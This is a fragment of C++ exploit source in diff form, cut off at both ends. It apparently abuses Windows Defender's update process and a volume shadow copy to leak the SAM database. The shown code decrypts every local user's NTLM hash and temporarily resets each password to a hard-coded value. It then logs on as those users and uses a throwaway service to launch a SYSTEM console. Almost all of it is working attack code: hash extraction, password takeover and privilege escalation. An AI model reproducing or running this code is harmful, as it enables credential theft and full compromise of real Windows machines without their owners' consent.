CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)ciphertext2, &retsz); + + if (outsz) + *outsz = 8; + + //printf("GetLastError : %x\n", GetLastError()); + CryptReleaseContext(hprov, NULL); + return ciphertext2; + + /* + DWORD mode = CRYPT_MODE_ECB; + CryptSetKeyParam(hcryptkey, KP_MODE, (const BYTE*)&mode, NULL); + printf("GetLastError : %x\n", GetLastError()); + + DWORD retsz = enclen; + + CryptDecrypt(hcryptkey, NULL, TRUE, CRYPT_DECRYPT_RSA_NO_PADDING_CHECK, (BYTE*)decrypted, &retsz); + printf("GetLastError : %x\n", GetLastError()); + */ + /* + OSSL_PROVIDER* legacy = OSSL_PROVIDER_load(NULL, "legacy"); + if (legacy == NULL) + { + printf("Failed to load Legacy provider\n"); + } + + EVP_CIPHER_CTX* en = EVP_CIPHER_CTX_new(); + + int fulllen = 0; + int retval = EVP_DecryptInit_ex(en, EVP_des_ecb(), NULL, (const unsigned char*)key, NULL); + + char* plaintext = (char*)malloc(ciphertextsz); + int _outsz = 0; + retval = EVP_DecryptUpdate(en, (unsigned char*)plaintext, &_outsz, (const unsigned char*)ciphertext, ciphertextsz); + int _outlen = 0; + retval = EVP_DecryptFinal_ex(en, (unsigned char*)plaintext + _outsz, &_outlen); + + if (outsz) + *outsz = _outsz; + + return plaintext; + */ +} + +char* DeriveDESKey(char data[7]) +{ + + + union keyderv { + struct { + char arr[8]; + }; + SIZE_T derv; + }; + keyderv ttv = { 0 }; + ZeroMemory(ttv.arr, sizeof(ttv.arr)); + memmove(ttv.arr, data, sizeof(data) - 1); + SIZE_T k = ttv.derv; + + + char* key = (char*)malloc(sizeof(data)); + + for (int i = 0; i < 8; i++) + { + int j = 7 - i; + int curr = (k >> (7 * j)) & 0x7F; + int b = curr; + b ^= b >> 4; + b ^= b >> 2; + b ^= b >> 1; + int keybyte = (curr << 1) ^ (b & 1) ^ 1; + key[i] = (char)keybyte; + } + return key; +} + +void* UnproctectPasswordHashDES(char* ciphertext, int ciphersz, int* outsz, ULONG rid) +{ + + union keydata { + struct { + char a; + char b; + char c; + char d; + }; + ULONG data; + }; + + keydata keycontent = { 0 }; + keycontent.data = rid; + char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a }; + char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d }; + + char* rkey1 = DeriveDESKey(key1); + char* rkey2 = DeriveDESKey(key2); + + + int plaintext1sz = 0; + int plaintext2sz = 0; + char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz); + if (!plaintext1) + return NULL; + char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz); + if (!plaintext2) + return NULL; + void* retval = malloc(plaintext1sz + plaintext2sz); + + memmove(retval, plaintext1, plaintext1sz); + memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz); + if (outsz) + *outsz = plaintext1sz + plaintext2sz; + return retval; +} + +void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid) +{ + int _outsz = 0; + void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz); + if (!dec) + return NULL; + int _hashoutsz = 0; + void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid); + if (outsz) + *outsz = _hashoutsz; + return _hash; +} + +unsigned char* HexToHexString(unsigned char* data, int size) +{ + unsigned char* retval = (unsigned char*)malloc(size * 2 + 1); + ZeroMemory(retval, size + 1); + for (int i = 0; i < size; i++) + { + sprintf((char*)&retval[i * 2], "%02x", data[i]); + } + + return retval; +} + + +char* CalculateNTLMHash(char* _input) +{ + + int pw_len = strlen(_input); + char* input = new char[pw_len * 2]; + for (int i = 0; i < pw_len; i++) + { + input[i * 2] = _input[i]; + input[i * 2 + 1] = '\0'; + } + + + unsigned int md_len = 0; + + HCRYPTPROV hprov = NULL; + + CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT); + + HCRYPTHASH Hhash = NULL; + CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash); + + CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL); + + DWORD inputsz = sizeof(md_len); + CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL); + unsigned char* md_value = (unsigned char*)malloc(md_len); + inputsz = md_len; + CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL); + + CryptDestroyHash(Hhash); + CryptReleaseContext(hprov, NULL); + /* + EVP_MD_CTX* mdctx = EVP_MD_CTX_new(); + EVP_DigestInit_ex(mdctx, EVP_md4(), NULL); + EVP_DigestUpdate(mdctx, input, pw_len * 2); + EVP_DigestFinal_ex(mdctx, md_value, &md_len); + EVP_MD_CTX_free(mdctx); + */ + /* + printf("Digest is: "); + for (int i = 0; i < md_len; i++) + printf("%02x", md_value[i]); + printf("\n"); + */ + return (char*)md_value; + +} +bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL) +{ + + wchar_t libpath[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH); + + HMODULE hm = LoadLibrary(libpath); + if (!hm) + { + printf("Failed to load samlib.dll\n"); + return false; + } + NTSTATUS(WINAPI * _SamConnect) + (IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect"); + NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle"); + NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) + = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); + NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); + NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); + + + if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) + { + printf("Failed to import required functions from samlib.dll\n"); + return false; + } + + HANDLE hsrv = NULL; + NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); + if (stat) + { + printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); + return false; + } + //printf("Connected to local SAM.\n"); + LSA_OBJECT_ATTRIBUTES loa = { 0 }; + LSA_HANDLE hlsa = NULL; + stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); + if (stat) + { + printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + + POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; + stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); + if (stat) + { + printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); + return false; + } + /*wchar_t* stringsid = 0; + if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) + { + printf("Failed to get string sid, error : %d\n", GetLastError()); + return false; + } + printf("Machine SID : %ws\n", stringsid);*/ + LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; + LSA_TRANSLATED_SID* lsatrans = 0; + LSA_UNICODE_STRING lsaunistr = { 0 }; + RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); + stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); + if (stat) + { + printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); + return false; + } + LsaClose(hlsa); + + HANDLE hdomain = NULL; + stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); + if (stat) + { + printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); + return false; + } + + HANDLE huser = NULL; + stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); + if (stat) + { + printf("SamOpenUser failed, error : 0x%0.8X\n", stat); + return false; + } + + //char password[] = "testp"; + //char* oldNTLM = CalculateNTLMHash((char*)"testp"); + char* oldNTLM = (char*)nthash; + char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); + + char oldLm[16] = { 0 }; + char newLm[16] = { 0 }; + stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); + + if (stat) + { + printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); + return false; + } + _SamCloseHandle(huser); + _SamCloseHandle(hdomain); + _SamCloseHandle(hsrv); + /* + if (newpassword) { + printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); + } + else { + printf("Info : user \"%ws\" password has been changed back to older password\n", username); + } + */ + return true; +} +////////////////////////////////////////////////////////////////////// +// SAM handling end +///////////////////////////////////////////////////////////////////// + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn start +///////////////////////////////////////////////////////////////////// +BOOL SetPrivilege( + HANDLE hToken, // access token handle + LPCTSTR lpszPrivilege, // name of privilege to enable/disable + BOOL bEnablePrivilege // to enable or disable privilege +) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue( + NULL, // lookup privilege on local system + lpszPrivilege, // privilege to lookup + &luid)) // receives LUID of privilege + { + printf("LookupPrivilegeValue error: %u\n", GetLastError()); + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + if (bEnablePrivilege) + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + else + tp.Privileges[0].Attributes = 0; + + // Enable the privilege or disable all privileges. + + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + 0, + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + printf("AdjustTokenPrivileges error: %u\n", GetLastError()); + return FALSE; + } + + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + + { + printf("The token does not have the specified privilege. \n"); + return FALSE; + } + + return TRUE; +} + + +bool DoSpawnShellAsAllUsers(HANDLE samfile) +{ + //SSL_library_init(); + //SSL_load_error_strings(); + char newpassword[] = "$PWNed666!!!WDFAIL"; + wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; + char* newNTLM = CalculateNTLMHash(newpassword); + bool isadmin = false; + char* retval = 0; + ORHKEY hSAMhive = NULL; + ORHKEY hSYSTEMhive = NULL; + DWORD err = OROpenHiveByHandle(samfile, &hSAMhive); + + bool systemshelllaunched = false; + if (err) + { + printf("OROpenHive failed with error : %d\n", err); + return false; + } + + unsigned char lsakey[16] = { 0 }; + + if (!GetLSASecretKey(lsakey)) + { + printf("Failed to dump LSA secret keys.\n"); + return false; + } + + + ORHKEY hkey = NULL; + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); + + DWORD valuesz = 0; + err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + char* samkey = (char*)malloc(valuesz); + err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + + ORCloseKey(hkey); + + /////////////////////////////////////////////////////////// + int passwordEncryptionKeysz = 0; + char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); + + err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + + + DWORD subkeys = NULL; + err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + if (err) + { + printf("ORQueryInfoKey failed with error : %d\n", err); + return false; + } + + + PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); + int numofentries = 0; + for (int i = 0; i < subkeys; i++) + { + DWORD keynamesz = 0x100; + wchar_t keyname[0x100] = { 0 }; + err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); + if (err) + { + printf("OREnumKey failed with error : %d\n", err); + return false; + } + if (_wcsicmp(keyname, L"users") == 0) + continue; + ORHKEY hkey2 = NULL; + err = OROpenKey(hkey, keyname, &hkey2); + if (err) + { + printf("OROpenKey failed with error : %d\n", err); + return false; + } + DWORD valuesz = 0; + err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); + if (err == ERROR_FILE_NOT_FOUND) + continue; + if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); + ZeroMemory(SAMpwd, sizeof(PwdEnc)); + SAMpwd->sz = valuesz; + SAMpwd->buff = (char*)malloc(valuesz); + ZeroMemory(SAMpwd->buff, valuesz); + err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); + if (err) + { + printf("ORGetValue failed with error : %d\n", err); + return false; + } + SAMpwd->rid = wcstoul(keyname, NULL, 16); + + ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; + SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; + SAMpwd->usernamesz = *usernamesz; + + ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; + SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; + SAMpwd->LMHashLenght = *LMhashsz; + + ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; + SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); + ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; + SAMpwd->NTHashLenght = *NThashsz; + + pwdenclist[i] = SAMpwd; + numofentries++; + } + + + wchar_t currentusername[UNLEN + 1] = { 0 }; + DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); + if (!GetUserName(currentusername, &usernamesz)) + { + printf("Failed to get current user name, error : %d", GetLastError()); + return false; + } + + + for (int i = 0; i < numofentries; i++) + { + PwdEnc* samentry = pwdenclist[i]; + int realNTLMHashsz = 0; + char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); + char* stringntlm = 0; + char emptyrepresentation[] = "{NULL}"; + if (realNTLMHashsz) + { + stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); + } + else + { + + stringntlm = emptyrepresentation; + } + wchar_t username[UNLEN + 1] = { 0 }; + if (samentry->usernamesz <= sizeof(username)) + { + memmove(username, samentry->username, samentry->usernamesz); + } + printf("******************************************\n"); + printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); + if (realNTLMHash == NULL || realNTLMHashsz == 0) { + printf(" Skip : NULL NTLM.\n"); + continue; + } + if (_wcsicmp(username, currentusername) == 0) + { + printf(" Skip : Current User.\n"); + continue; + } + if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) + { + printf(" Skip : WDAGUtilityAccount detected.\n"); + continue; + } + + retval = realNTLMHash; + + if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) + { + printf(" NewPasswordSet : OK.\n"); + + HANDLE htoken = NULL; + PSID logonsid = 0; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + if (!systemshelllaunched) { + TOKEN_ELEVATION_TYPE tokentype; + DWORD retsz = 0; + if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + if (tokentype == TokenElevationTypeLimited) + { + TOKEN_LINKED_TOKEN linkedtoken = { 0 }; + + + if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) + { + printf("GetTokenInformation failed with error : %d\n", GetLastError()); + } + + HANDLE hdup = linkedtoken.LinkedToken; + + DWORD sidsz = MAX_SID_SIZE; + PSID administratorssid = malloc(sidsz); + + if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) + { + printf("Failed to create well known sid, error : %d\n", GetLastError()); + } + + + + if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) + { + printf("CheckTokenMembership failed with error : %d\n", GetLastError()); + } + free(administratorssid); + + CloseHandle(hdup); + } + + if (isadmin) + { + + + + + printf(" IsAdmin : TRUE\n"); + HANDLE htoken2 = NULL; + if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) + { + printf("LogonUserEx failed, error : %d\n", GetLastError()); + } + //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); + const wchar_t sid_string[] = L"S-1-16-8192"; + TOKEN_MANDATORY_LABEL integrity; + PSID sid = NULL; + ConvertStringSidToSidW(sid_string, &sid); + ZeroMemory(&integrity, sizeof(integrity)); + integrity.Label.Attributes = SE_GROUP_INTEGRITY; + integrity.Label.Sid = sid; + if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { + wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); + } + LocalFree(sid); + //CloseHandle(htoken2); + + ImpersonateLoggedOnUser(htoken2); + + + SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); + if (!hmgr) + { + printf("OpenSCManager failed with error : %d", GetLastError()); + } + + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + + wchar_t binpath[MAX_PATH] = { 0 }; + GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); + wchar_t servicecmd[MAX_PATH] = { 0 }; + DWORD currentsesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); + wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); + + SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); + if (!hsvc) + { + printf("CreateService Failed with error : %d\n", GetLastError()); + } + else { + printf(" SYSTEMShell : OK.\n"); + } + + StartService(hsvc, NULL, NULL); + Sleep(100); + DeleteService(hsvc); + CloseServiceHandle(hsvc); + CloseServiceHandle(hmgr); + RevertToSelf(); + CloseHandle(htoken2); + systemshelllaunched = true; + } + else { + printf(" IsAdmin : FALSE\n"); + } + + + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) + { + printf(" Shell : Error %d\n", GetLastError()); + } + else { + printf(" Shell : OK.\n"); + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + } + + if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) + { + printf(" PasswordRestore : Error %d\n", GetLastError()); + } + + else { + printf(" PasswordRestore : OK.\n"); + } + CloseHandle(htoken); + } + + // __debugbreak(); + + + + } + + ORCloseHive(hSAMhive); + printf("******************************************\n"); + free(newNTLM); + return true; + + + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + + return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); +} + +void LaunchConsoleInSessionId(DWORD sessionid) +{ + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + + SetPrivilege(htoken, SE_TCB_NAME, TRUE); + SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); + SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); + SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); + + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + + +////////////////////////////////////////////////////////////////////// +// Exploit shell spawn end +///////////////////////////////////////////////////////////////////// + +int wmain(int argc, wchar_t* argv[]) +{ + + + if (IsRunningAsLocalSystem()) + { + printf("Running as local system.\n"); + if (argc == 2) + { + DWORD sessionid = _wtoi(argv[1]); + if (sessionid) { + printf("Session id : %d\n", sessionid); + LaunchConsoleInSessionId(sessionid); + } + } + return 0; + } + + DWORD _sesid = 0; + ProcessIdToSessionId(GetCurrentProcessId(), &_sesid); + const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} + /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ + }; + wchar_t fullvsspath[MAX_PATH] = { 0 }; + HANDLE hreleaseready = NULL; + wchar_t updtitle[0x200] = { 0 }; + wchar_t targetfile[MAX_PATH] = { 0 }; + wchar_t nttargetfile[MAX_PATH] = { 0 }; + HANDLE htransaction = NULL; + wchar_t* filestodel[100] = { 0 }; + HINTERNET hint = NULL; + HINTERNET hint2 = NULL; + char data[0x1000] = { 0 }; + DWORD index = 0; + DWORD sz = sizeof(data); + bool res2 = 0; + wchar_t filesz[50] = { 0 }; + LARGE_INTEGER li = { 0 }; + GUID uid = { 0 }; + RPC_WSTR wuid = { 0 }; + wchar_t* wuid2 = 0; + wchar_t envstr[MAX_PATH] = { 0 }; + wchar_t mpampath[MAX_PATH] = { 0 }; + HANDLE hmpap = NULL; + void* exebuff = NULL; + DWORD readsz = 0; + HANDLE hmapping = NULL; + void* mappedbuff = NULL; + HRSRC hres = NULL; + DWORD ressz = NULL; + HGLOBAL cabbuff = NULL; + wchar_t cabpath[MAX_PATH] = { 0 }; + wchar_t updatepath[MAX_PATH] = { 0 }; + HANDLE hcab = NULL; + ERF erfstruct = { 0 }; + HFDI hcabctx = NULL; + char _updatepath[MAX_PATH] = { 0 }; + bool extractres = false; + char buff[0x1000] = { 0 }; + DWORD retbytes = 0; + DWORD tid = 0; + HANDLE hthread = NULL; + WDRPCWorkerThreadArgs threadargs = { 0 }; + HANDLE hcurrentthread = NULL; + HANDLE hdir = NULL; + wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; + wchar_t updatelibpath[MAX_PATH] = { 0 }; + UNICODE_STRING unistrupdatelibpath = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hupdatefile = NULL; + UNICODE_STRING objlinkname = { 0 }; + UNICODE_STRING objlinktarget = { 0 }; + NTSTATUS ntstat = 0; + OVERLAPPED ovd = { 0 }; + DWORD transfersz = 0; + wchar_t newname[MAX_PATH] = { 0 }; + DWORD renstructsz = 0; + + size_t targetsz = 0; + size_t printnamesz = 0; + size_t pathbuffersz = 0; + size_t totalsz = 0; + REPARSE_DATA_BUFFER* rdb = 0; + DWORD cb = 0; + OVERLAPPED ov = { 0 }; + bool ret = false; + DWORD retsz = 0; + HANDLE hleakedfile = NULL; + HANDLE hobjlink = NULL; + LARGE_INTEGER _filesz = { 0 }; + OVERLAPPED ovd2 = { 0 }; + DWORD __readsz = 0; + void* leakedfilebuff = 0; + bool filelocked = false; + bool needcabcleanup = false; + bool dirmoved = false; + bool needupdatedircleanup = false; + UpdateFiles* UpdateFilesList = NULL; + UpdateFiles* UpdateFilesListCurrent = NULL; + bool isvssready = false; + bool criterr = false; + HANDLE hobjworkdir = NULL; + HANDLE hsymlink = NULL; + wchar_t objdirpath[MAX_PATH] = { 0 }; + try { + + printf("Checking for windows defender signature updates...\n"); + while (!CheckForWDUpdates(updtitle, &criterr)){ + + if (criterr) + goto cleanup; + printf("No updates found for windows defender. Recheking in 30 seconds...\n"); + Sleep(30000); + + } + printf("Found Update : \n%ws\n", updtitle); + + UpdateFilesList = GetUpdateFiles(); + if (!UpdateFilesList) + { + goto cleanup; + } + printf("Updates downloaded.\n"); + + + printf("Creating VSS copy...\n"); + hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); + if (!hreleaseready) + { + printf("Failed to create event error : %d\n", GetLastError()); + goto cleanup; + } + + + isvssready = TriggerWDForVS(hreleaseready, fullvsspath); + if (!isvssready) + goto cleanup; + + for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) + { + ZeroMemory(objdirpath, sizeof(objdirpath)); + UpdateFilesListCurrent = UpdateFilesList; + UuidCreate(&uid); + UuidToStringW(&uid, &wuid); + wuid2 = (wchar_t*)wuid; + wcscpy(envstr, L"%TEMP%\\"); + wcscat(envstr, wuid2); + + { + + OBJECT_ATTRIBUTES ndirobjattr = { 0 }; + UNICODE_STRING objdirunistr = { 0 }; + + + wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2); + RtlInitUnicodeString(&objdirunistr, objdirpath); + InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL); + if (ntstat) + { + printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat); + goto cleanup; + } + } + + + ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); + needupdatedircleanup = CreateDirectory(updatepath, NULL); + if (!needupdatedircleanup) + { + printf("Failed to create update directory, error : %d", GetLastError()); + goto cleanup; + } + printf("Created update directory %ws\n", updatepath); + + { + UNICODE_STRING _unisrc = { 0 }; + RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); + OBJECT_ATTRIBUTES _smobjattr = { 0 }; + InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); + UNICODE_STRING _unidest = { 0 }; + wchar_t unidest[MAX_PATH] = { 0 }; + wcscpy(unidest, L"\\??\\"); + wcscat(unidest, updatepath); + RtlInitUnicodeString(&_unidest, unidest); + ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); + if (ntstat) 